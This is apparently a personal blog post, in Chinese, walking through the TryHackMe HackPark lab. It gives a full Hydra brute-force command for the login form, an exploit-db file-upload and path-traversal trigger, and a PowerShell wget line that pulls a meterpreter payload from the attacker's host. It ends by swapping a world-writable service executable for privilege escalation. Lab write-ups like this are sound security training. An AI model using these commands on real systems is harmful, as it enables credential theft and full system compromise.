noone___'s blog
0%

THM打靶日寄4-HackParl

发表于 更新于 分类于
确实还有好多工具要学着用啊

  • 扫描打点

    一个网站，有登录界面，THM 提示用 Hydra 爆破

    bp 抓一下登录的数据包：

    用 hydra 爆破密码，这个的语法有点怪异：

    1
    hydra -f -l admin -P /usr/share/wordlists/wifite.txt -V 10.10.18.81 http-post-form "/Account/login.aspx:__VIEWSTATE=vSATLGgyNYOq2xRmSJZTTj%2FOcQQSMa5Gje33bS9MLeqgzac4DOJRJyDj5I6DKDz8bvBW6FngYOV%2BypIbbDdr8e18KlSmORdo%2FV4w3E%2BVJQ3U4wlyNgdoO009xmxlezA1AyOBqtDxhgbH%2F9AOXMbXAeTKcrf8hbj%2FF1v2Zdwqoliz0D6d4LdlzHPCtRjbhyaEwv0HvUcMiinZc09dqjt5sjEO%2BjUFv2wqzHHvas6J9xm8nJOxES7kvGOVlJVrOaw8B4muAci%2BwxRnANOufdMGSro20syF93U2WR2DdrChOAff%2BmG%2FqybDcgZXPESv1vSCIBG2WIddALpKQKe0PGugr%2BDipyqbrq65s1hQNLo5iYX08CaO&__EVENTVALIDATION=0E%2FrQder8Qicyb2ykUC%2Fu85a%2FZny1E5ZDp89ig9gJwY%2FJUckLJVAiFsGN7sunKnNmyGFE1on9%2Bd5pITm5PFuonsnGGtnk3OnnhoxP5iYZo9CZ81KueEz4SlKPBX4PTTP1oWp0v5JOpdEJfcTWixqf7dKC1Uhr6SdNvpXQulGAxhjZWnL&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=%E7%99%BB%E5%BD%95:F=login failed"

    逐个分析：-f 是得到正确密码后停止， -l 指定登录的用户名，如果是爆破用户名则是 -L ，-P 爆破密码 ，-V 显示过程，不加也行；

    后面是 [ip] [提交类型post/get]

    再后面是抓到的登录数据包，需要在其中标出 ^USER^ 和 ^PASS^

    冒号后面是登录失败的关键词

    综上，命令后面的部分类似与 [ip] [登录类型] "[数据报[登录账户参数名]=^USER^&[登录密码参数名]=^PASS^]:F=[登录错误的关键词]"

    爆破出密码 1qaz2wsx

  • msf 提权

    进到后台之后在 about 看到版本号，exploit-db.com 找到对应漏洞：

    脚本上面注释里面有使用方法：

    改一下脚本里面的 ip 和端口，开监听，以 PostView.ascx 为文件名将脚本上传到 /admin/app/editor/editpost.cshtml ，并且通过访问 /?theme=../../App_Data/files 来触发

  • Windows 提权

    传个 msf 马先

    直接用网页界面上传的马没找到存放位置，就本地再 python 开个服务器，让靶机用 wget 下载

    powershell -c wget "http://10.11.99.99:8000/shell/qwq.exe" -outfile "qwq.exe"

    注意权限问题，最好切换到 Windows/Temp 目录下

    这里昨天的办法又不能用了

    THM 提示我们 ps 看看进程

    但这里要引入一个新工具 winPEAS ，在这里

    其同样用于在 Windows 机器上找到可能会被攻击者利用的路径和服务。

    传到靶机上，注意 nc 的 shell 看不到回显，还是要用 meterpreter 开个 shell 才行

    在 Service Information 里面找到这个所有人都可以读写的服务

    到 Program Files (x86)\SystemScheduler\Events 目录下翻一翻，看到 log.txt 发现 service.exe 每 30s 会启动一次

    由上面扫描结果得其权限是所有用户可读写，那么一个很简单的思路就是再传个马替换这个文件

    直接在 meterpreter 里面 upload 就行了

    如果没传上去就是正好在被调用

    flag 分别在两个人的桌面上

    至于系统安装时间直接 systeminfo 就行（逃